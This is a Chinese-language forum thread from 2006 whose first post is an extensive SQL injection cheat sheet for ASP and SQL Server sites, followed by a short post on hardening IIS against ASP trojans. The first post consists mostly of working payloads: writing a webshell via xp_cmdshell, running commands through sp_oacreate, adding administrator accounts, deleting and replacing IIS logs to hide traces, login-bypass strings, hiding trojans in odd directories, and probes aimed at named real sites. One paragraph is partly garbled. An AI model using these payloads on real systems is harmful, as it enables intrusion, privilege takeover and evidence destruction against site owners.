史萊姆論壇

返回   史萊姆論壇 > 教學文件資料庫 > 程式 & 網頁設計技術文件
忘記密碼?
論壇說明

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


 
 
主題工具 顯示模式
舊 2006-05-25, 03:51 PM   #1 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 軟體 - asp注入語法大全

1、 用^轉義字串來寫ASP(一句話木馬)文件的方法:
http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 』echo ^ 〈SCRIPT language=VBScript runat="server^"〉execute request^("l"^)^〈/script^〉 〉c:\mu.asp』;-- 〈/P〉
〈P〉 echo ^〈%execute^(request^("l"^)^)%^〉 〉c:\mu.asp〈/P〉
2、 顯示SQL系統版本:
http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--
Microsoft VBScript 編譯器錯誤 錯誤 』800a03f6』
缺少 』End』
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 錯誤 』80040e07』
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 』Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) 』 to a column of data type int.
/display.asp,行17
3、 在檢測新力中國的網站漏洞時,分明已經確定了漏洞存在卻無法在這三種漏洞中找到對應的檔案類型。偶然間我想到了在SQL語言中可以使用「in」關鍵字進行查詢,例如「select * from mytable where id in(1)」,括號中的值就是我們提交的資料,它的結果與使用「select * from mytable where id=1」的查詢結果完全相同。所以訪問頁面的時候在URL後面加上「) and 1=1 and 1 in(1」後原來的SQL語句就變成了「select * from mytable where id in(1) and 1=1 and 1 in(1)」,這樣就會出現期待已久的頁面了。暫且就叫這種檔案類型的漏洞為「包含數位型」吧,聰明的你一ㄏ氳攪嘶褂小鞍址汀蹦亍6粵耍褪怯捎誒嗨啤皊elect * from mytable where name in(『firstsee』)」的查詢語句造成的。
4、 判斷xp_cmdshell增強儲存於程序是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 』X』 AND name = 』xp_cmdshell』)
恢復xp_cmdshell增強儲存於的指令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 』xp_cmdshell』,』e:\inetput\web\xplog70.dll』;--
5、 向啟動組中寫入指令行和執行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 』HKEY_LOCAL_MACHINE』,』SOFTWARE\Microsoft\Windows\CurrentVersion\
Run』,』help1』,』REG_SZ』,』cmd.exe /c net user test ptlove /add』

6、 檢視現用的資料庫名稱:
http://192.168.1.5/display.asp?keyno=188 and 0〈〉db_name(n) n改成0,1,2,3……就可以跨庫了
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 編譯器錯誤 錯誤 』800a03f6』
缺少 』End』
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 錯誤 』80040e07』
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 』huidahouse』 to a column of data type int.
/display.asp,行17
7、 列出當前所有的資料庫名稱:
select * from master.dbo.sysdatabases 列出所有列的記錄
select name from master.dbo.sysdatabases 僅列出name列的記錄
8、 不需xp_cmdshell支持在有注入漏洞的SQL伺服器上執行CMD指令:
CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 』wscript.shell』,@shell output
EXEC sp_oamethod @shell,』run』,null,』cmd.exe /c dir c:\〉c:\temp.txt』,』0』,』true』
--注意run的參數true指的是將等待程序執行的結果,對於類似ping的長時間指令必需使用此參數。
EXEC sp_oacreate 』scripting.filesystemobject』,@fso output
EXEC sp_oamethod @fso,』opentextfile』,@file out,』c:\temp.txt』
--因為fso的opentextfile方法將返回一個textstream對象,所以此時@file是一個對像令牌
WHILE @shell〉0
BEGIN
EXEC sp_oamethod @file,』Readline』,@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,』AtEndOfStream』,@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
DROP TABLE MYTMP
----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 』wscript.shell』,@shell output
EXEC sp_oamethod @shell,』run』,null,』cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"〉c:\temp.txt』,』0』,』true』
EXEC sp_oacreate 』scripting.filesystemobject』,@fso output
EXEC sp_oamethod @fso,』opentextfile』,@file out,』c:\temp.txt』
WHILE @shell〉0
BEGIN
EXEC sp_oamethod @file,』Readline』,@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,』AtEndOfStream』,@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

以下是一行裡面將WEB用戶加到管理員組中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 』wscript.shell』,@shell output EXEC sp_oamethod @shell,』run』,null,』cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"〉c:\temp.txt』,』0』,』true』 EXEC sp_oacreate 』scripting.filesystemobject』,@fso output EXEC sp_oamethod @fso,』opentextfile』,@file out,』c:\temp.txt』 WHILE @shell〉0 BEGIN EXEC sp_oamethod @file,』Readline』,@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,』AtEndOfStream』,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
以下是一行中執行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 』wscript.shell』,@shell output EXEC sp_oamethod @shell,』run』,null,』cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\〉c:\temp.txt』,』0』,』true』 EXEC sp_oacreate 』scripting.filesystemobject』,@fso output EXEC sp_oamethod @fso,』opentextfile』,@file out,』c:\temp.txt』 WHILE @shell〉0 BEGIN EXEC sp_oamethod @file,』Readline』,@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,』AtEndOfStream』,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
SQL下三種執行CMD指令的方法:
先移除7.18號日誌:
(1)exec master.dbo.xp_cmdshell 』del C:\winnt\system32\logfiles\W3SVC5\ex050718.log 〉c:\temp.txt』
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 』wscript.shell』,@shell output EXEC sp_oamethod @shell,』run』,null,』cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log 〉c:\temp.txt』,』0』,』true』 EXEC sp_oacreate 』scripting.filesystemobject』,@fso output EXEC sp_oamethod @fso,』opentextfile』,@file out,』c:\temp.txt』 WHILE @shell〉0 BEGIN EXEC sp_oamethod @file,』Readline』,@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,』AtEndOfStream』,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)首先開啟jet沙盤模式,通過增強儲存於程序xp_regwrite修改註冊表實現,管理員修改註冊表不能預防的原因。出於安全原因,預設值沙盤模式未開啟,這就是為什麼需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER權限,為了方便,這裡建議使用sysadmin權限測試:
 exec master..xp_regwrite 』HKEY_LOCAL_MACHINE』,』SOFTWARE\Microsoft\Jet\4.0\Engines』,』SandBoxMode』,』REG_DWORD』,1
註:
0 禁止一切(預設值)
1 使能訪問ACCESS,但是禁止其它
2 禁止訪問ACCESS,但是使能其他
3 使能一切
 這裡僅指出sysadmin權限下使用的指令:
select * from openrowset(』microsoft.jet.oledb.4.0』,』;database=c:\winnt\system32\ias\ias.mdb』,』select shell("cmd.exe /c net user admin admin1234 /add")』)

 建立連接資料庫』L0op8ack』參考指令:
EXEC sp_addlinkedserver 』L0op8ack』,』OLE DB Provider for Jet』,』Microsoft.Jet.OLEDB.4.0』,』c:\windows\system32\ias\ias.mdb』
 如何使用連接資料庫:
使用這個方式可以執行,但是很不幸,DB_OWNER權限是不夠的,需要至少sysadmin權限或者securityadmin+setupadmin權限組合
sp_addlinkedserver需要sysadmin或setupadmin權限
sp_addlinkedsrvlogin需要sysadmin或securityadmin權限
最終發現,還是sa權限或者setupadmin+securityadmin權限帳戶才能使用,
一般沒有哪個管理員這麼設定普通帳戶權限的
實用性不強,僅作為一個教學總結吧
大致程序如下,如果不是sysadmin,那麼IAS.mdb權限驗證會出現錯誤,
我測試的時候授予hacker這個用戶setupadmin+securityadmin權限,使用ias.mdb失敗
需要找一個一般用戶可訪問的mdb才可以:
 新增連接伺服器」L0op8ack」:EXEC sp_addlinkedserver 』L0op8ack』,』JetOLEDB』,』Microsoft.Jet.OLEDB.4.0』,』c:\winnt\system32\ias\ias.mdb』;--
 exec sp_addlinkedsrvlogin 』L0op8ack』,』false』;--或
exec sp_addlinkedsrvlogin 』L0op8ack』, 』false』, NULL, 』test1』, 』ptlove』;--
 SELECT * FROM OPENQUERY(L0op8ack, 』SELECT shell("cmd.exe /c net user")』);--
 exec sp_droplinkedsrvlogin 』L0op8ack』,』false』;--
 exec sp_dropserver 』L0op8ack』;--
再考貝一個其它文件來替代7.18日文件:
(1)exec master.dbo.xp_cmdshell 』copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log〉c:\temp.txt』
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 』wscript.shell』,@shell output EXEC sp_oamethod @shell,』run』,null,』cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log〉c:\temp.txt』,』0』,』true』 EXEC sp_oacreate 』scripting.filesystemobject』,@fso output EXEC sp_oamethod @fso,』opentextfile』,@file out,』c:\temp.txt』 WHILE @shell〉0 BEGIN EXEC sp_oamethod @file,』Readline』,@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,』AtEndOfStream』,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 』wscript.shell』,@shell output EXEC sp_oamethod @shell,』run』,null,』cmd.exe /c net user〉c:\temp.txt』,』0』,』true』 EXEC sp_oacreate 』scripting.filesystemobject』,@fso output EXEC sp_oamethod @fso,』opentextfile』,@file out,』c:\temp.txt』 WHILE @shell〉0 BEGIN EXEC sp_oamethod @file,』Readline』,@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,』AtEndOfStream』,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
9、 用UPDATE來更新表中的資料:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd=』a0b923820dcc509a』 where username=』www』;--
www用戶密碼的16位MD5值為:a0b923820dcc509a,即把密碼改成1;
32位MD5值為: ,密碼為
10、 利用表內容導成文件功能
SQL有BCP指令,它可以把表的內容導成文本文件並放到指定位置。利用這項功能,我們可以先建一張臨時表,然後在表中一行一行地輸入一個ASP木馬,然後用BCP指令匯出形成ASP文件。
指令行格式如下:
bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload(』S』參數為執行查詢的伺服器,』U』參數為用戶名,』P』參數為密碼,最終上傳了一個runcommand.asp的木馬)。
11、新增表、播入資料和讀取資料的方法
 新增表:
』 and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
 往表裡播入資料:
』 and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype=』U』 and status〉0,@result output insert into cyfd (gyfd) values(@result);--
』 and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 』HKEY_LOCAL_MACHINE』,』SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots』, 』/』 ,@result output insert into cyfd (gyfd) values(@result);--
 從表裡讀取資料:
』 and 1=(select count(*) from cyfd where gyfd 〉1)--
 移除臨時表:
』;drop table cyfd;--12、通過SQL語句直接更改sa的密碼:
 update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC




 檢視本地機所有的資料庫用戶名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins

 更改sa密碼方法:用sql綜合利用工具連接後,執行指令:
exec sp_password NULL,'新密碼','sa'

13、查詢dvbbs庫中所有的表名和表結構:
 select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
 select * from dvbbs.dbo.syscolumns where id=1426104121

14、手動式制作備份當前資料庫:
完全制作備份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--
差異制作備份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT—

15、增加和移除一個SA權限的用戶test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

cmd.exe /c isql -E /U alma /P /i K:\test.qry

16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0
就可以列出庫ChouYFD中所有的用戶建立的表名。
Select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0

17、
http://www.npc.gov.cn/zgrdw/common/i...?sqlstr=select * from rdweb.dbo.syscolumns (where id=1234)
列出rdweb庫中所有表中的字段名稱
 select * from dvbbs.dbo.syscolumns where id=5575058
列出庫dvbbs中表id=5575058的所有字段名

18、移除記錄指令:delete from Dv_topic where boardid=5 and topicid=7978

19、繞過登入驗證進入後台的方法整理:
1) ' or''='
2) ' or 1=1--
3) 『 or 『a』=』a--
4) 『or』=』or』
5) " or 1=1--
6)or 1=1--
7) or 』a=』a
8)" or "a"="a
9) 』) or (』a』=』a
10) ") or ("a"="a
11) ) or (1=1
12) 'or''='
13) 人氣%』 and 1=1 and 』%』=』

20、尋找網站路徑的方法匯總:
1)檢視WEB網站安裝目錄指令:
 cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt (將2換成1、3、4、5試試)
type c:\test1.txt
del c:\test1.txt
在NBSI下可以直接顯示執行結果,所以不用匯出到文件

2)在網站上隨便找到一個圖片的名字 123.jpg
然後寫進批次處理程序123.bat:
d:
dir 123.jpg /s >c:\123.txt
e:
dir 123.jpg /s >>c:\123.txt
f:
dir 123.jpg /s >>c:\123.txt

執行後 type c:\123.txt
這樣來分析網站的路徑

3)SQL伺服器和網站伺服器在同一個伺服器上,好了是可以執行指令是吧?
將執行指令輸出結果到
%windir%\help\iishelp\common\404b.htm或者500.asp
注意輸出前Backup這兩個文件
如:
dir c:\ >%windir%\help\iishelp\common\404b.htm
然後隨便輸入一個文件來訪問:http://目標ip/2.asp

4)針對win2000系統:xp_regread讀取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 獲取WEB路徑
2003系統:xp_regread讀取,未找到方法
如:
(1) 新增一個表cyfd(字段為gyfd):http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--
(2) 把web路徑寫進去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
(3) 還是讓他不匹配,顯示錯誤:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
Description: 將 varchar 值 'Y:\Web\煙台人才熱線後台管理系統,,201 ' 轉換為資料檔案類型為 int 的列時發生語法錯誤。
TargeSite: Boolean Read() 哈哈哈。。路徑暴露了。。
(4)接下來移除表:http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--
regedit指令說明:
Regedit /L:system /R:user /E filename.reg Regpath
參數含義:
/L:system指定System.dat文件所在的路徑。
/R:user指定User.dat文件所在的路徑。
/E:此參數指定註冊表編輯器要進行匯出註冊表操作,在此參數後面空一格,輸入匯出註冊表的檔案名。
Regpath:用來指定要匯出哪個註冊表的分支,如果不指定,則將匯出全部註冊表分支。在這些參數中,"/L:system"和"/R:user"參數是可選項,如果不使用這兩個參數,註冊表編輯器則認為是對WINDOWS目錄下的"system.dat"和"user.dat"文件進行操作。如果是通過從軟碟啟動並進入DOS,那麼就必須使用"/L"和"/R"參數來指定"system.dat"和"user.dat"文件的具體路徑,否則註冊表編輯器將無法找到它們。比如說,如果通過啟動碟進入DOS,則制作備份註冊表的指令是"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",該指令的意思是把整個註冊表制作備份到WINDOWS目錄下,其檔案名為"regedit.reg"。而如果輸入的是"regedit /E D:\regedit.reg"這條指令,則是說把整個註冊表制作備份到D碟的根目錄下(省略了"/L"和"/R"參數),其檔案名為"Regedit.reg"。

regedit /s c:\adam.reg (匯入c:\adam.reg文件至註冊表)
regedit /e c:\web.reg (制作備份全部註冊內容到c:\web.reg中)
針對win2000系統:C:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots"
然後http://目標IP/2.asp
針對win2003系統:沒有找到,希望找到的朋友公佈出來一起討論。

6)虛擬主機下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的備份檔案,是允許web用戶訪問的,如果你的iis制作備份到這裡,用webshell下載下來後用記事本開啟,可以獲取對應的域名和web絕對路徑。

7)SQL注入建立虛擬目錄,有dbo權限下找不到web絕對路徑的一種解決辦法:
我們很多情況下都遇到SQL注入可以列目錄和執行指令,但是卻很不容易找到web所在目錄,也就不好得到一個webshell,這一招不錯:
 建立虛擬目錄win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
 讓win目錄具有解析asp指令碼權限:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:'
 移除虛擬目錄win:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'
 測試:http://127.0.0.1/win/test.asp
8)利用SQL語句來尋找WEB目錄:根據經驗,猜疑WEB根目錄的順序是:d盤、e盤、c碟,首先我們建立一個臨時表用於存放master..xp_dirtree(適合於public)產生的目錄樹,用以下語句:
;create table temp(dir nvarchar(255),depth varchar(255));--,該表的dir字段表示目錄的名稱,depth字段表示目錄的深度。然後執行xp_dirtree獲得D碟的目錄樹,語句如下:
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--

在進行下面的操作前,先檢視D碟有幾個資料夾,這樣對D碟有個大致的瞭解,語句如下:
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 磁碟區'))>=數位(數位=0、1、2、3...)

接著,我們在對方的網站上找幾個一級子目錄,如user、photo,然後,用篩選的方法來判斷WEB根目錄上是否存在此碟上,語句如下:
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)

看語句的返回結果,如果為真,表示WEB根目錄有可能在此碟上,為了進一步驗證,多測試幾個子目錄:
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)

...

如果所有的測試結果都為真,表示WEB根目錄很有可能在此碟上。

下面假設找到的WEB根目錄在此碟上,用以下的語句來獲得一級子目錄的深度:
and (select depth from temp where dir='user')>=數位(數位=1、2、3...)

假設得到的depth是3,說明user目錄是D碟的3級目錄,則WEB根目錄是D碟的二級目錄。

目前我們已經知道了根目錄所在的碟符和深度,要找到根目錄的具體位置,我們來從D碟根目錄開始逐一搜尋,當然,沒有必要知道每個目錄的名稱,否則太耗費時間了。

接下來,另外建立一個臨時表,用來存放D碟的1級子目錄下的所有目錄,語句如下:

;create table temp1(dir nvarchar(255),depth varchar(255));--

然後把從D碟的第一個子目錄下的所有目錄存到temp1中,語句如下:
declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 磁碟區') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
當然也可以把D碟的第二個子目錄下的所有目錄存到temp1中,只需把第二個top 1改為top 2就行了。

現在,temp1中已經儲存了所有D碟第一級子目錄下的所有目錄,然後,我們用同樣的方法來判斷根目錄是否在此一級子目錄下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
如果返回為真,表示根目錄可能在此子目錄下,記住要多測試幾個例子,如果都返回為假,則表明WEB根目錄不在此目錄下,然後我們在用同樣的方法來獲得D碟第2、3...個子目錄下的所有目錄列表,來判斷WEB根目錄是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的內容移除。

現在假設,WEB根目錄在D碟的第一級子目錄下,該子目錄名稱為website,怎樣獲得這個目錄的名稱我想不用我說了吧。因為前面我們知道了WEB根目錄的深度為2,我們需要知道website下到底哪個才是真正的WEB根目錄。

現在,我們用同樣的方法,再建立第3個臨時表:
;create table temp2(dir nvarchar(255),depth varchar(255));--

然後把從D碟的website下的所有目錄存到temp2中,語句如下:
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 磁碟區') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
當然也可以把D碟的website下第二個子目錄下的所有目錄存到temp2中,只需把第二個top 1改為top 2就行了。

現在,我們用同樣的方法判斷該目錄是否為根目錄:
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
如果返回為真,為了確定我們的判斷,多測試幾個例子,方法上面都講到了,如果多個例子都返回為真,那麼就確定了該目錄為WEB根目錄。


用以上的方法基本上可以獲得WEB根目錄,現在我們假設WEB根目錄是:D:\website\www
然後,我們就可以制作備份當前資料庫到這個目錄下用來下載。制作備份前我們把temp、temp1、temp2的內容清空,然後C、D、E碟的目錄樹分別存到temp、temp1、temp2中。

下載完資料庫後要記得把三個臨時表DROP掉,現在我們在下載的資料庫中可以找到所有的目錄列表,包括後台管理的目錄以及更多訊息。

21、win2000下將WEB用戶提升為系統用戶權限,需要有管理員的權限才能執行:
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"

cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\windows\system32\idq.dll" "C:\windows\system32\inetsrv\httpext.dll" "C:\windows\system32\inetsrv\httpodbc.dll" "C:\windows\system32\inetsrv\ssinc.dll" "C:\windows\system32\msw3prt.dll" "C:\windows\system32\inetsrv\asp.dll"

檢視是否成功:
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps

Microsoft (R) Windows Script Host Version 5.6
版權所有(C) Microsoft Corporation 1996-2001。保留所有權利。
inprocessisapiapps : (LIST) (6 Items)
"C:\WINNT\system32\idq.dll"
"C:\WINNT\system32\inetsrv\httpext.dll"
"C:\WINNT\system32\inetsrv\httpodbc.dll"
"C:\WINNT\system32\inetsrv\ssinc.dll"
"C:\WINNT\system32\msw3prt.dll"
"c:\winnt\system32\inetsrv\asp.dll"

22、如何隱藏ASP木馬:
建立非標準目錄:mkdir images..\
拷貝ASP木馬至目錄:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
通過web訪問ASP木馬:http://ip/images../news.asp?action=login
如何移除非標準目錄:rmdir images..\ /s
__________________
http://bbsimg.qianlong.com/upload/01/08/29/68/1082968_1136014649812.gif
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
向 psac 送花的會員:
longlie (2007-10-21)
感謝您發表一篇好文章
舊 2006-07-05, 06:05 AM   #2 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

如何防止ASP 木馬在服務器上執行
前比較流行的ASP木馬主要通過三種技術來進行對服務器的相關操作。

  一、使用FileSystemObject元件

  FileSystemObject可以對文件進行一般操作

  可以通過修改註冊表,將此元件改名,來防止此類木馬的危害。

  HKEY_CLASSES_ROOT\Scripting.FileSystemObject\

  改名為其它的名字,如:改為FileSystemObject_ChangeName

  自己以後調用的時候使用這個就可以正常調用此元件了

  也要將clsid值也改一下

  HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\專案的值

  也可以將其刪除,來防止此類木馬的危害。

  註銷此元件命令:RegSrv32 /u C:\WINNT\SYSTEM\scrrun.dll

  禁止Guest用戶使用scrrun.dll來防止調用此元件。

  使用命令:cacls C:\WINNT\system32\scrrun.dll /e /d guests

  二、使用WScript.Shell元件

  WScript.Shell可以調用系統內核執行DOS基本命令

  可以通過修改註冊表,將此元件改名,來防止此類木馬的危害。

  HKEY_CLASSES_ROOT\WScript.Shell\

  及

  HKEY_CLASSES_ROOT\WScript.Shell.1\

  改名為其它的名字,如:改為WScript.Shell_ChangeName或WScript.Shell.1_ChangeName

  自己以後調用的時候使用這個就可以正常調用此元件了

  也要將clsid值也改一下

  HKEY_CLASSES_ROOT\WScript.Shell\CLSID\專案的值

  HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\專案的值

  也可以將其刪除,來防止此類木馬的危害。

  三、使用Shell.Application元件

  Shell.Application可以調用系統內核執行DOS基本命令

  可以通過修改註冊表,將此元件改名,來防止此類木馬的危害。

  HKEY_CLASSES_ROOT\Shell.Application\

  及

  HKEY_CLASSES_ROOT\Shell.Application.1\

  改名為其它的名字,如:改為Shell.Application_ChangeName或Shell.Application.1_ChangeName

  自己以後調用的時候使用這個就可以正常調用此元件了

  也要將clsid值也改一下

  HKEY_CLASSES_ROOT\Shell.Application\CLSID\專案的值

  HKEY_CLASSES_ROOT\Shell.Application\CLSID\專案的值

  也可以將其刪除,來防止此類木馬的危害。

  禁止Guest用戶使用shell32.dll來防止調用此元件。

  使用命令:cacls C:\WINNT\system32\shell32.dll /e /d guests

  註:操作均需要重新啟動WEB服務後才會生效。

  四、調用Cmd.exe

  禁用Guests組用戶調用cmd.exe

  cacls C:\WINNT\system32\Cmd.exe /e /d guests

  通過以上四步的設置基本可以防範目前比較流行的幾種木馬,但最有效的辦法還是通過綜合安全設置,將服務器、程式安全都達到一定標準,才可能將安全等級設置較高,防範更多非法入侵。   
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
向 psac 送花的會員:
longlie (2007-10-21)
感謝您發表一篇好文章
